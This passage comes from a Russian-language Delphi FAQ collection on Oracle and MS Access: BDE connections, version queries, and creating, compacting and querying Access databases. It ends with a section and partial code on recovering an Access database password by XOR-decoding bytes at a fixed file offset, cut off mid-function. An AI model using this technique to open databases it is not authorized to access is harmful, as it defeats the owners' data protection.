PROCEDURE SetStepValue(nValue IN NUMBER) IS
BEGIN
nStepValue:=nValue;
END;
PROCEDURE StepIt(C IN NUMBER) IS
BEGIN
nCurrentValue:=nCurrentValue+c;
DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS(nID,slno,'CALCULATING REPORT',target,nMinValue,nCurrentValue,nMaxValue,'PROGRESS BAR INFO',NULL);
END;
END;

Взято из http://forum.sources.ru


Подключение к Personal Oracle с помощью BDE

Доступ к Personаl Oracle (как и к любой другой версии СУБД Oracle) осуществляется следующим образом. Сначала нужно запустить сервер (в случае Personal Oracle для Windows 95 это отдельное приложение, в случае Oracle для Windows NT - набор сервисов, обслуживающих конкретную базу данных) и настроить клиентскую часть Oracle. Для этого следует запустить утилиту SQLNet Easy Configuration (в случае Oracle 8 - Oracle Net8 Easy Config) и с ее помощью создать описание псевдонима базы данных Oracle (для него, как и в BDE, используется термин alias, но это не то же самое, что псевдоним BDE). При создании этого описания важны три параметра.

Первый из них - сетевой протокол, с помощью которого осуществляется доступ к серверу Oracle (IPX/SPX, TCP/IP и др.). Второй параметр - местоположение сервера в сети. В случае Personal Oracle это обычно компьютер с IP-адресом 127.0.0.1 (это специальный адрес для доступа к локальному компьютеру, так называемый TCP Loopback Address, который обычно имеет URL http://localhost/). Третий параметр - имя базы данных. По умолчанию в случае Personal Oracle она называется ORCL. В общем случае имя может быть любым, но это должно быть имя уже существующей базы данных, с которой вы собираетесь работать.

В принципе все описания псевдонимов Oracle хранятся в текстовом файле TNSNAMES.ORA, который можно редактировать вручную.

Далее следует запустить утилиту SQL Plus и проверить соединение клиента с сервером. Обычно в качестве имени пользователя используется имя SYSTEM и пароль MANAGER (если вы сами администрируете сервер). Если же сервер был установлен раньше, узнайте у администратора базы данных, каким именем и паролем следует воспользоваться. Помимо имени пользователя и пароля, SQL Plus запросит так называемую строку связи, в которой должно содержаться имя сервиса, который был создан вами перед этим. При удачном соединении в SQL Plus появится соответствующее сообщение. Отметим, что утилита Oracle Net8 Easy Config позволяет протестировать соединение непосредственно в процессе создания описания сервиса.

Если соединение с сервером было неудачным, стоит проверить, поддерживается ли указанный сетевой протокол, виден ли в сети компьютер, на котором установлен сервер, и, если нужно, внести изменения в описание сервиса.

Теперь можно, наконец, заняться настройкой BDE. В качестве Server Name следует указать имя псевдонима Oracle (его можно просто выбрать из выпадающего списка, так как BDE Administrator также обращается к файлу TNSNAMES.ORA). После этого нужно проверить соединение с сервером через BDE с помощью BDE Administrator или SQL Explorer.

Если соединение не устанавливается и появляется сообщение "Vendor initialization failed", стоит убедиться, что динамическая загружаемая библиотека, указанная в параметре Vendor Init драйвера Oracle, действительно присутствует на данном компьютере. На всякий случай стоит скопировать ее в папку Windows\System, так как некоторые ранние версии BDE в Windows 95 не находят эту библиотеку в подкаталоге Bin каталога, в котором установлен клиент Oracle, в силу ограничений, налагаемых этой операционной системой на длину переменной окружения PATH. Отметим также, что при использовании Oracle 8 нужно использовать версию не ниже 8.0.4; в случае использования более ранней версии следует обновить ее до 8.0.4.

Наталия Елманова
Взято из http://forum.sources.ru


Как выяснить номер версии Oracle?

This function gets the connected Oracle version. It returns the version info in 3 OUT parameters.

VerNum : double eg. 7.23
VerStrShort : string eg. '7.2.3.0.0'
VerStrLong : string eg. 'Oracle7 Server Release 7.2.3.0.0 - Production Release'

I have tested it with Oracle 7.2 and 8.17. I assume it should work for the others (not too sure about Oracle 9 though). Any feedback and fixes for different versions would be appreciated.

The TQuery parameter that it recieves is a TQuery component that is connected to an open database connection.

Example :

var
  VNum: double;
  VShort: string;
  VLong: string;
begin
  GetOraVersion(MySql, VNum, VShort, VLong);
  Label1.Caption := FloatToStr(VNum);
  Label2.Caption := VShort;
  Label3.Caption := VLong;
end;

procedure GetOraVersion(Query: TQuery;
                                   out VerNum: double;
                                   out VerStrShort: string;
                                   out VerStrLong: string);
var
  sTmp: string;
  cKey: char;
  i: integer;
begin
  Query.SQL.Text := 'select banner from v$version ' +
                             'where banner like ' + QuotedStr('Oracle%');
  Query.Open;

  if not Query.Eof then
    VerStrLong := Query.Fields[0].AsString
  else
  begin
    // Don't know this version
    VerStrLong := '?';
    VerNum := 0.0;
    VerStrShort := '?.?.?.?';
  end;

  Query.Close;

  if VerStrLong <> '?' then
  begin
    cKey := VerStrLong[7]; // eg. Oracle7 or Oracle8i
    VerStrLong[7] := 'X'; // Mask it out
    sTmp := copy(VerStrLong, pos(cKey, VerStrLong), 1024);
    VerStrShort := copy(sTmp, 1, pos(' ', sTmp) - 1);
    sTmp := copy(VerStrShort, 1, pos('.', VerStrShort));

    for i := length(sTmp) + 1 to length(VerStrShort) do
    begin
      if VerStrShort[i] <> '.' then
        sTmp := sTmp + VerStrShort[i];
    end;

    VerNum := StrToFloat(sTmp);
    VerStrLong[7] := cKey; // Put correct character back
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить текущую дату?

// make the SQL dependent on type of DBMS

if AppLibrary.Database.DriverName = 'ORACLE' then
  SQL.Add('and entry_date < SYSDATE')
else
  SQL.Add('and entry_date < "TODAY"');
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Связь с personal Oracle

Связаться с Personal Oracle - мудреное дело, но оно оказывается очень простым, если знать как...

Personal Oracle должен иметь имя сервера (servername) "2:" (два и точка с запятой)
Сетевой протокол (Net Protocol) ДОЛЖЕН БЫТЬ пустым (т.е. пустым - ничего не содержать)
Если вы работаете с Personal Oracle версии 7.1, в файле конфигурации сервера должен быть определен ORA71WIN.DLL, в противном случае выберите ora7win.dll
Oracle в сети.... Если вы можете соединиться через sql*dba или sql*plus, то настройки вашего Oracle, вероятно, правильные. Кроме того, поставщик в файле конфигурации должен указывать версию базы данных.

The server name (имя сервера): SQL*Net V.1.x: Protocol (протокол) : Servername (имя сервера) : Database SID

---> например: T:222.122.22.32:DEMO

Помните: Protocol и SID чуствительны к регистру. Протокол T для TCP/IP. (Я не помню остальных, но я могу узнать, если они вам необходимы....). TCP/IP адрес может быть заменен псевдонимом, если правильно сконфигурирован host-файл....
SQL*Net V.2.x: Здесь все сводится к (Oracle) псевдониму. Используйте его как имя сервера (Server Name). Сетевой протокол (Network Protocol) должен отражать используемый протокол (TCP/IP, Named pipes, IPX/SPX и др.)

- Knud Andersen
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как на Oracle поменять compatible

Подскажите, как на Oracle 7.3.2.3 (Solaris x86) поменять compatible на 7.3.2.3 (c 7.1.0.0)?
Ставить в initmybase.ora

compatible = "7.3.2.3"

и после старта с новым параметром сделать

ALTER DATABASE RESET COMPABILITY;

И рестартовать базу.

Взято с http://delphiworld.narod.ru


Как настроить Personal Oracle с русским языком на корректную работу с числами и BDE

прописать в

\HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE параметр:
NLS_NUMERIC_CHARACTERS = '.,'

или

после соединения с ORACLE выполнить

ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '.,'

Взято с http://delphiworld.narod.ru


Понятия Instance, Database etc

Автор: Nomadic

Перевод документации:

Что такое ORACLE Database?

Это данные которые будут обрабатываться как единое целое. Database состоит из файлов операционной системы. Физически существуют database files и redo log files. Логически database files содержат словари, таблицы пользователей и redo log файлы. Дополнительно database требует одну или более копий control file.

Что такое ORACLE Instance?

ORACLE Instance обеспечивает программные механизмы доступа и управления database. Instance может быть запущен независимо от любой database (без монтирования или открытия любой database). Один instance может открыть только одну database. В то время как одна database может быть открыта несколькими Instance.

Instance состоит из:

SGA (System Global Area), которая обеспечивает коммуникацию между процессами;
до пяти (в последних версиях больше) бэкграундовых процессов.

От себя добавлю - database включает в себя tablespace, tablespace включает в себя segments (в одном файле данных может быть один или несколько сегментов, сегменты не могут быть разделены на несколько файлов). segments включают в себя extents.

Взято с http://delphiworld.narod.ru


Доступ к объекту Oracle

Для этого можно воспользоваться компонентами от AllRoundAutomations Direct Oracle Access. Если кому надо могу поделиться. При помощи этих компонент можно не только производить простые запросы/вставки, но и выполнять DDL-скрипты, и иметь доступ к объектам Oracle 8, примет смотри ниже...

var
  Address: TOracleObject;
begin
  Query.SQL.Text := 'select Name, Address from Persons';
  Query.Execute;
  while not Query.Eof do
  begin
    Address := Query.ObjField('Address');
    if not Address.IsNull then
      ShowMessage(Query.Field('Name') + ' lives in ' + Address.GetAttr('City'));
    Query.Next;
  end;
end;

Взято с http://delphiworld.narod.ru


компонент TStoredProc

Недавно я перешел на использование Oracle, но все мои попытки использовать компонент TStoredProc оказываются неудачными. Почему?

Причины неработоспособности компонента TStoredProc могут быть следующими.

Во-первых, при использовании ODBC-доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).

Во-вторых, имеется известная проблема, описание которой содержится в разделе Developers Support корпоративного сайта Inprise (http://www.inprise.com). Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров.

Взято с http://delphiworld.narod.ru


Как корректно прервать выполнение SQL-запроса?

Дает ли Delphi возможность корректно прервать выполнение SQL-запроса к серверу Oracle с помощью BDE? Например, чтобы при использовании с SQL Plus после отправки SQL-запроса на выполнение на экране появлялось окно с кнопкой Cancel, которое давало бы возможность в любой момент прервать выполнение этого запроса?

Насколько мне известно, для этой цели лучше всего использовать функции Oracle Call Interface (низкоуровневый API Oracle). В комплекте поставки Oracle есть соответствующие примеры для C, и переписать их на Pascal несложно.

Некоторые драйверы SQL Link позволяют прекратить выполнение запроса, если время его выполнения превышает заранее заданное значение (параметр MAX QUERY TIME соответствующего драйвера). Однако драйвер ORACLE, к сожалению, в их число не входит.

Взято с http://delphiworld.narod.ru


После логина возникает EExternalError 0xC0000008

Windows 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать?

Снести Oracle Trace Collection Services.

Copyright (C) Alexey Mahotkin 1997-1999


Как правильно соединяться с базой данных под Personal Oracle

user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение.

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Как в Oracle создать sequence с некоторого номера

create sequence minvalue 10;

Взято с http://delphiworld.narod.ru


В режиме отладки приложения не разрешается открытие базы данных

Необходимо отключить (деинсталлировать через Oracle Installer) Trace Service на клиенте - совет от ORACLE. Глюк имеет место быть только под Windows NT 4.xx.

Взято с http://delphiworld.narod.ru


Работа с MS Access

Cодержание раздела:

Возникает сложность копирования MS Access
Создание новой MS Access базы данных
Как создать таблицу в MS Access при помощи DAO?
Как открыть базу данных Microsoft Access .MDB в Delphi?
Как можно открыть отчёт (в режиме Print Preview а также print direct) в MS Access ?
Как паковать базу данных
Как скопировать таблицу из одной базы данных в другую?
Как узнать номер автоинкремента при вставке новой записи?
Как найти пароль к базе данных?
Примеры работы с репортами
Как экспортировать все таблицы в CSV файл?
Why can’t I connect to an Access database using the BDE and native MSACCESS driver?
Использование таблиц Access при помощи ODBC
Записываем в Access используя OLE DB
Как получить список таблиц в базе Access? Updated!
Help по синтаксису SQL для MS Access (DAO/ADO/ODBC)

См. также статьи в других разделах:
Из Paradox в Access при помощи ADO


Возникает сложность копирования MS Access

Говорит мол невозможно открыть файл. И на самом деле еще виден файл блокировки Access. Как закрыть базу так чтоб этот файл исчез и я мог сохранить.

Ответ:

session.close

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Создание новой MS Access базы данных

Приведенная ниже процедура создает пустую базу данных MS Access

procedure CreateMSAccessDatabase(filename: string);
var DAO: Variant;
  i: integer;
const Engines: array[0..2] of string = ('DAO.DBEngine.36', 'DAO.DBEngine.35', 'DAO.DBEngine');

  function CheckClass(OLEClassName: string): boolean;
  var Res: HResult;
  begin
    Result := CoCreateInstance(ProgIDToClassID(OLEClassName), nil, CLSCTX_INPROC_SERVER or CLSCTX_LOCAL_SERVER, IDispatch, Res) = S_OK;
  end;
begin
  for i := 0 to 2 do
    if CheckClass(Engines[i]) then
      begin
        DAO := CreateOleObject(Engines[i]);
        DAO.Workspaces[0].CreateDatabase(filename, ';LANGID=0x0409;CP=1252;COUNTRY=0', 32);
        exit;
      end;
  raise Exception.Create('DAO engine could not be initialized');
end;

Кусочек кода, который должен распознавать какая версия DAO установлена на компьютере мной не мог быть оттестирован, так как только одна работающая версия DAO может быть установлена на компьютере. У меня установлен Office XP (DAO36) и на нем все работает нормально. Интересно было бы узнать работает ли логика для Office 2000 (DAO35) и Office 97 (DAO30)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Here is an OP function that will do it for you:

procedure CreateMSAccessDB(filename: string);
var
  DBEngine, Workspace: Variant;
const
  {Important to use the following constant as is}
  dbLangGeneral = '';
  LANGID = 0x0409;
  CP = 1252;
  COUNTRY = '0';
  dbVersion30 = 32;
begin
  DBEngine := CreateOleObject('DAO.DBEngine');
  {DBEngine := CreateOleObject('DAO.DBEngine.35'); For DAO 3.5}
  Workspace := DBEngine.Workspaces[0];
  try
    Workspace.CreateDatabase(filename, dbLangGeneral, dbVersion30);
  except
    on EOleException do
      ShowMessage('Database already exists');
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

It's very simple to create a empty Access-Database (*.mdb File) using OLE. It's not necessary to have MS-Access installed on your computer. If an exception occures the error message will returned. After creating the DB you can create Tables with simple SQL-Statements.

uses comobj, sysutils;

function CreateAccessDatabase(FileName: string): string;
var
  cat: OLEVariant;
begin
  result := '';
  try
    cat := CreateOleObject('ADOX.Catalog');
    cat.create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=' + Filename + ';');
    cat := NULL;
  except
    on e: Exception do
      result := e.message;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

const
  CLASS_DBEngine: TGUID = '{00000100-0000-0010-8000-00AA006D2EA4}';
  dbLangCyrillic = ';LANGID=0x0409;CP=1252;COUNTRY=0';
  dbOption       =     0
//                  or $20 // ? похоже создание в формате Access 97
                ;

procedure CreateMSAccessDatabase(FileName :String);
begin
  Variant(CreateOleObject(ClassIDToProgID(CLASS_DBEngine)))
    .Workspaces[0]
      .CreateDatabase (FileName, dbLangCyrillic, dbOption);
end;

Автор: Петрович

Взято из http://forum.sources.ru


Как создать таблицу в MS Access при помощи DAO?

1. Объявляем переменные:
var
  access, db, td, recordset: Variant;

2. объявляем массив констант соответствия типов данных
(между полями в Delphi и типами полей DAO)

  arrMDBTypes: array[TFieldType] of Integer =
    ({dbText} 10 {ftUnknown},
     {dbText} 10 {ftString},
     {dbInteger} 3 {ftSmallint},
     {dbLong} 4 {ftInteger},
     {dbInteger} 3 {ftWord},
     {dbBoolean} 1 {ftBoolean},
     {dbDouble} 7 {ftFloat},
     {dbCurrency} 5 {ftCurrency},
     {dbDouble} 7 {ftBCD},
     {dbDate} 8 {ftDate},
     {dbTime} 22 {ftTime},
     {dbDate} 8 {ftDateTime},
     {dbLongBinary} 11 {ftBytes},
     {dbLongBinary} 11 {ftVarBytes},
     {dbInteger} 3 {ftAutoInc},
     {dbLongBinary} 11 {ftBlob},
     {dbMemo} 12 {ftMemo},
     {dbLongBinary} 11 {ftGraphic},
     {dbMemo} 12 {ftFmtMemo},
     {dbLongBinary} 11 {ftParadoxOle},
     {dbLongBinary} 11 {ftDBaseOle},
     {dbBinary} 9 {ftTypedBinary},
     {dbText} 10 {ftCursor}

    {$IFDEF VER120}
     ,
     {dbText} 10 {ftFixedChar},
     {dbText} 10 {ftWideString},
     {dbBigInt} 16 {ftLargeint},
     {dbText} 10 {ftADT},
     {dbText} 10 {ftArray},
     {dbText} 10 {ftReference},
     {dbText} 10 {ftDataSet}
    {$ELSE}

    {$IFDEF VER125}
     ,
     {dbText} 10 {ftFixedChar},
     {dbText} 10 {ftWideString},
     {dbBigInt} 16 {ftLargeint},
     {dbText} 10 {ftADT},
     {dbText} 10 {ftArray},
     {dbText} 10 {ftReference},
     {dbText} 10 {ftDataSet}

    {$ELSE}

    {$IFDEF VER130}
     ,
     {dbText} 10 {ftFixedChar},
     {dbText} 10 {ftWideString},
     {dbBigInt} 16 {ftLargeint},
     {dbText} 10 {ftADT},
     {dbText} 10 {ftArray},
     {dbText} 10 {ftReference},
     {dbText} 10 {ftDataSet},
     {dbLongBinary} 11 {ftOraBlob},
     {dbLongBinary} 11 {ftOraClob},
     {dbText} 10 {ftVariant},
     {dbText} 10 {ftInterface},
     {dbText} 10 {ftIDispatch},
     {dbGUID} 15 {ftGuid}
    {$ENDIF}
    {$ENDIF}
    {$ENDIF}

    );

3. загружаем DAO:
    try
      access := GetActiveOleObject('DAO.DBEngine.35');
    except
      access := CreateOleObject('DAO.DBEngine.35');
    end;

4. открываем базу данных
    try
      db := access.OpenDatabase(yourDatabaseName);
    except
      exit
    end;

5. создаём новую таблицу в открытой базе данных
    td := db.CreateTableDef(yourTableName, 0, '', '');

6. добавляем в таблицу поле с описаниями
    td.Fields.Append(td.CreateField(strFieldName, arrMDBTypes[intDataType], Size));

например,
    td.Fields.Append(td.CreateField('ID', arrMDBTypes[intDataType], Size));
    td.Fields.Append(td.CreateField('NAME', arrMDBTypes[intDataType], Size));

7. добавляем таблицу в список таблиц
    db.TableDefs.Append(td);

8. открываем созданную таблицу
   recordset := db.OpenTable(yourTableName, 0);

9. добавляем новую запись в открытую таблицу
    recordset.AddNew;

10. изменяем значения поля
    curField := recordset.Fields[0].Value := 1;
     curField := recordset.Fields[1].Value := 'First record';

11. помещаем новую запись в базу
    recordset.Update(dbUpdateRegular, False);
где
const
  dbUpdateRegular = 1;

12. закрываем recordset
     recordset.Close;

13. закрываем базу данных
     db.Close;

14. освобождаем экземпляр DAO
     access := UnAssigned;

Взято из http://forum.sources.ru


Как открыть базу данных Microsoft Access .MDB в Delphi?

ADO
Если у Вас Delphi 5 Enterprise или Delphi 5 Professional с ADO Express, то Вы можете использовать компонент ADOTable и в его свойстве ConnectionString настроить (build) подключение как базе данных MS Access. Например:

Provider=Microsoft.Jet.OLEDB.4.0;
User ID=Admin;
Password=Password;
Data Source=D:\Path\dbname.mdb;
Mode=ReadWrite;
Extended Properties="";
Persist Security Info=False;
Jet OLEDB:System database="";
Jet OLEDB:Registry Path="";
Jet OLEDB:Database Password="";
Jet OLEDB:Engine Type=5;
Jet OLEDB:Database Locking Mode=1;
Jet OLEDB:Global Partial Bulk Ops=2;
Jet OLEDB:Global Bulk Transactions=1;
Jet OLEDB:New Database Password="";
Jet OLEDB:Create System Database=False;
Jet OLEDB:Encrypt Database=False;
Jet OLEDB:Don't Copy Locale on Compact=False;
Jet OLEDB:Compact Without Replica Repair=True;
Jet OLEDB:SFP=False

При этом будет открыта база данных D:\Path\dbname.mdb, будет использован драйвер ADO для базы данных Access (Microsoft.Jet.OLEDB.4.0). Имя пользователя будет Admin без пароля (эти значения присваиваются поумолчанию при создании базы Access). Если Вы всё-таки захотите использовать пароль, то его надо будет задать в ствойстве Jet OLEDB:Database Password. Если у Вас установлен режим безопасности, то необходимо указать файл .MDW или .MDA в свойстве Jet OLEDB:System database.

BDE
Так же для открытия базы данных Access можно воспользоваться BDE которая содержит родной драйвер (MSACCESS). В компоненте Database установите следующие свойства:

DatabaseName = Any_name (или Alias_name)
DriverName   = MSACCESS
LoginPrompt  = False
Params       = PATH=d:\path
               DATABASE NAME=d:\path\filename.mdb
               TRACE MODE=0
               LANGDRIVER=Access General
               USER NAME=Admin
               PASSWORD=your_password
               Open/MODE=Read/Write
               SQLPASSTHRU MODE=Not SHARED

Значения свойства DatabaseName объекта Database, это то, которое Вы будете использовать в свойстве DatabaseName компонентов Table и Query, которые представляют таблицы и запросы для этой базы данных (тем самым связывая их с объектом Database).

BDE+ODBC
В случае с базой данных Access, BDE предоставляет драйвер, однако существует множество других баз, для которых в BDE драйвера нет, но для которых есть драйвер ODBC. ODBC обычно используется для небольших баз данных или в приложениях, в которых присутствуют только операции импорта/экспорта...

Ниже приведён пример использования драйвера ODBC с BDE для открытия базы данных Access:

Создайте DSN (Data Source Name) для Вашей базы данных (используя апплет ODBC Data Sources в панели управления).
Кликните на закладку "System DSN" или "User DSN"
Кликните по кнопке "Add..."
Выберите "Microsoft Access Driver (*.mdb)" и нажмите ENTER. Появится диалоговое окошко "ODBC Microsoft Access Setup".
Задайте имя в текстовом окошке Data Source Name (без пробелов и без специальных символов).
Кликните по кнопке "Select..." чтобы выбрать нужный файл .MDB.
Если у Вас установлена схема безопасноти, то выберите радио кнопку "Database" в "System Database", а затем кликните кнопку "System database...", чтобы указать файл рабочей группы .MDW или .MDA.
Если Вы хотите указать имя пользователя и пароль, то нажмите кнопку "Advanced...". Данный способ защиты является низкоуровневым, так как любой, кто имеет доступ к Вашей машине может спокойно посмотреть свойства DSN. Если Вам необходим более высокий уровень защиты, то задавать имя пользователя и пароль необходимо на стадии открытия базы данных (см. ниже).
В заключении нажмите "OK", после чего Ваш DSN будет сохранён.
В Delphi установите свойства компонента TDatabase:
В DatabaseName задайте имя, которое указали в DSN.
Если Вы хотите, чтобы пользователя спрашивали имя и пароль, то установите LoginPrompt в True.
Если Вы не хотите использовать стандартный диалог имени и пароля (или если имя и пароль будут задаваться программно), то установите LoginPrompt в False и задайте свойство Params (или задайте эти свойства по ходу выполнения программы):
USER NAME=your_username
PASSWORD=your_password
Свяжите компоненты TTable или TQuery с компонентом TDatabase, как рассказывалось Выше, просто указав тоже имя (которое было задано в DSN) в их соответствующих свойствах DatabaseName.

Взято из http://forum.sources.ru


Как можно открыть отчёт (в режиме Print Preview а также print direct) в MS Access ?

var
  Access: Variant;
begin
  // Открываем Access
  try
    Access := GetActiveOleObject('Access.Application');
  except
    Access := CreateOleObject('Access.Application');
  end;
  Access.Visible := True;

  // Открываем базу данных
  // Второй параметр указывает - будет ли база открыта в Exclusive режиме
  Access.OpenCurrentDatabase('C:\My Documents\Books.mdb', True);

  // открываем отч?т
  {Значение второго пораметра может быть одним из следующих
  acViewDesign, acViewNormal, or acViewPreview. acViewNormal,
  которые устанавливаются по умолчанию, для печати отч?та.
  Если Вы не используете библиотеку типов, то можете определить
  эти значения следующими:

  const
  acViewNormal = $00000000;
  acViewDesign = $00000001;
  acViewPreview = $00000002;

  Третий параметр - это имя очереди для текущей базы данных.
  Четв?ртый параметр - это строка для SQL-евского WHERE -
  то есть строка SQL, минус WHERE.}

  Access.DoCmd.OpenReport('Titles by Author', acViewPreview, EmptyParam,
    EmptyParam);

  < ... >

  // Закрываем базу данных
  Access.CloseCurrentDatabase;

  // Закрываем Access
  {const
  acQuitPrompt = $00000000;
  acQuitSaveAll = $00000001;
  acQuitSaveNone = $00000002;}
  Access.Quit(acQuitSaveAll);
end;


Как паковать базу данных?

Using D6 Pro, Access XP and Jet 4.0 Sp6 - how can I compact Access files?

Answer:

This does it:

procedure TMainForm.ActionCompactAccessDBExecute(Sender: TObject);
var
  JetEngine: Variant;
  TempName: string;
  aAccess: string;
  stAccessDB: string;
  SaveCursor: TCursor;
begin
  stAccessDB := 'Provider = Microsoft.Jet.OLEDB.4.0;' +
    'Data Source = %s;Jet OLEDB: Engine type = ';
  stAccessDB := stAccessDB + '5'; {5 for Access 2000 and 4 for Access 97}
  OpenDialog1.InitialDir := oSoftConfig.ApplicationPath + 'Data\';
  OpenDialog1.Filter := 'MS Access (r) (*.mdb)|*.mdb';
  if OpenDialog1.execute and (uppercase(ExtractFileExt
    (OpenDialog1.FileName)) = '.MDB') then
  begin
    if MessageDlg('This process can take several minutes. Please wait till the end ' +
      #13 + #10 + 'of it. Do you want to proceed? Press No to exit.', mtInformation,
      [mbYes, mbNo], 0) = mrNo then
      exit;
    SaveCursor := screen.cursor;
    screen.cursor := crHourGlass;
    aAccess := OpenDialog1.FileName;
    TempName := ChangeFileExt(aAccess, '.$$$');
    DeleteFile(PChar(TempName));
    JetEngine := CreateOleObject('JRO.JetEngine');
    try
      JetEngine.CompactDatabase(Format(stAccessDB, [aAccess]),
        Format(stAccessDB, [TempName]));
      DeleteFile(PChar(aAccess));
      RenameFile(TempName, aAccess);
    finally
      JetEngine := Unassigned;
      screen.cursor := SaveCursor;
    end;
  end;
end;

Important Notes:
1. 1. Include the JRO_TLB unit in your uses clause.
2. 2. Nobody should use or open the database during compacting.
3. 3. If the compiler gives you an error on the JRO_TLB unit follow these steps:
· Using the Delphi IDE go to Project – Import Type Library.
· Scroll down until you reach "Microsoft Jet and Replication Objects 2.1 Library".
· Click on Install button.
· Recompile a gain.

How to compact and repair MS Access 2000 (Jet Engine 4) during run time using Delphi 5?

Answer:

Usually the size of MS Access keep growing fast by time because of it's internal caching and temporary buffering, which in over whole effect the performance, space required for storing, and backing-up (if needed). The solution is to compact it from Access menus (Tools – Database Utilities – Compact and Repair Database) or to do that from inside your Delphi application.

function CompactAndRepair(sOldMDB: string; sNewMDB: string): Boolean;
const
  sProvider = 'Provider=Microsoft.Jet.OLEDB.4.0;';
var
  oJetEng: JetEngine;
begin
  sOldMDB := sProvider + 'Data Source=' + sOldMDB;
  sNewMDB := sProvider + 'Data Source=' + sNewMDB;

  try
    oJetEng := CoJetEngine.Create;
    oJetEng.CompactDatabase(sOldMDB, sNewMDB);
    oJetEng := nil;
    Result := True;
  except
    oJetEng := nil;
    Result := False;
  end;
end;

Example :

if CompactAndRepair('e:\Old.mdb', 'e:\New.mdb') then
  ShowMessage('Successfully')
else
  ShowMessage('Error…');

Important Notes:
1. 1. Include the JRO_TLB unit in your uses clause.
2. 2. Nobody should use or open the database during compacting.
3. 3. If the compiler gives you an error on the JRO_TLB unit follow these steps:
· Using the Delphi IDE go to Project – Import Type Library.
· Scroll down until you reach "Microsoft Jet and Replication Objects 2.1 Library".
· Click on Install button.
· Recompile a gain.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

procedure CompactDatabase_JRO(DatabaseName:string;DestDatabaseName:string='';Password:string='');
const
   Provider = 'Provider=Microsoft.Jet.OLEDB.4.0;';
var
  TempName : array[0..MAX_PATH] of Char; // имя временного файла
  TempPath : string; // путь до него
  Name : string;
  Src,Dest : WideString;
  V : Variant;
begin
   try
       Src := Provider + 'Data Source=' + DatabaseName;
       if DestDatabaseName<>'' then
           Name:=DestDatabaseName
       else begin
           // выходная база не указана - используем временный файл
           // получаем путь для временного файла
           TempPath:=ExtractFilePath(DatabaseName);
           if TempPath='' Then TempPath:=GetCurrentDir;
           //получаем имя временного файла
           GetTempFileName(PChar(TempPath),'mdb',0,TempName);
           Name:=StrPas(TempName);
       end;
       DeleteFile(PChar(Name));// этого файла не должно существовать :))
       Dest := Provider + 'Data Source=' + Name;
       if Password<>'' then begin
           Src := Src + ';Jet OLEDB:Database Password=' + Password;
           Dest := Dest + ';Jet OLEDB:Database Password=' + Password;
       end;

       V:=CreateOleObject('jro.JetEngine');
       try
           V.CompactDatabase(Src,Dest);// сжимаем
       finally
           V:=0;
       end;
       if DestDatabaseName='' then begin // т.к. выходная база не указана
           DeleteFile(PChar(DatabaseName)); //то удаляем не упакованную базу
           RenameFile(Name,DatabaseName); // и переименовываем упакованную базу
       end;
   except
    // выдаем сообщение об исключительной ситуации
    on E: Exception do ShowMessage(e.message);
   end;
end;

Использование:

CompactDatabase_JRO('C:\MyDataBase\base.mdb','','123');

Автор: ZEE
Взято из http://forum.sources.ru


Как скопировать таблицу из одной базы данных в другую?

f I am not wrong you have an Access db with multiple tables and you want to copy one of these tables into another Access db. For this case i would do the next:

1. Create database TrasportDB.mdb - use ADOX.
2. Copy table from source table into TransportDB.mdb with Select * Into [TransportTable] in "FullPath\TransportDB.mdb" From SourceTable.
3. Deliver TransportDB.mdb on destination computer.
4. Copy table from TransportTable into DestTable with Select * Into [DestTable] From [TransportTable] in "FullPath\TransportDB.mdb".

FullPath is the path to TransportDB.mdb and is different on source and dest computers.

This way you will use native access methods that should be more reliable and faster than using ADO methods. If you need to perform more complete tasks you should use replication from Microsoft Jet and Replication objects (import this typelib).
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как узнать номер автоинкремента при вставке новой записи?

We have a table in MsAccess like :

Test, Fields (id=autoinc, name=text);

First we have to have a function like the one below :

function GetLastInsertID: integer;
begin
  // datResult = TADODataSet
  datResult.Active := False;
  datResult.CommandText := 'select @@IDENTITY as [ID]';
  datResult.Active := True;
  Result := datResult.FieldByName('id').AsInteger;
  datResult.Active := False;
end;

Now before getting the last inserted record record id = autoincrement field, in other words calling the above function. You have to do a SQL insert like the following

procedure InsertRec;
begin
  // datCommand = TADOCommand
  datCommand.CommandText := 'insert into [test] ( [name] ) values ( "Test" )';
  datCommand.Execute;
end;

Now if we like to know which is the last autoinc value ( notice that the getlastinsertid proc. only works after the insertrec proc)

procedure Test;
begin
  InsertRec;
  Showmessage(format('lastinsertid : %d', [GetLastInsertID]));
end;

Hope you can make this work, it works for me, any questions feel free to ask
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как найти пароль к базе данных?

I know there that there are many utilities out there costing $$ for removing the password of an access database. Here's how to implement it in Delphi.Please note that this method is not meant for a database with user-level security and work group information file. The idea is based on the file format of an access db.

The password is stored from location $42 and encrypted using simple xoring. The following function does decryption.

function GetPassword(filename: string): string;
var
  Stream: TFilestream;
  buffer: array[0..12] of char;
  str: string;
begin
  try
    stream := TFileStream.Create(filename, fmOpenRead);
  except
    ShowMessage('Could not open the file.Make sure that the file is not in use.');
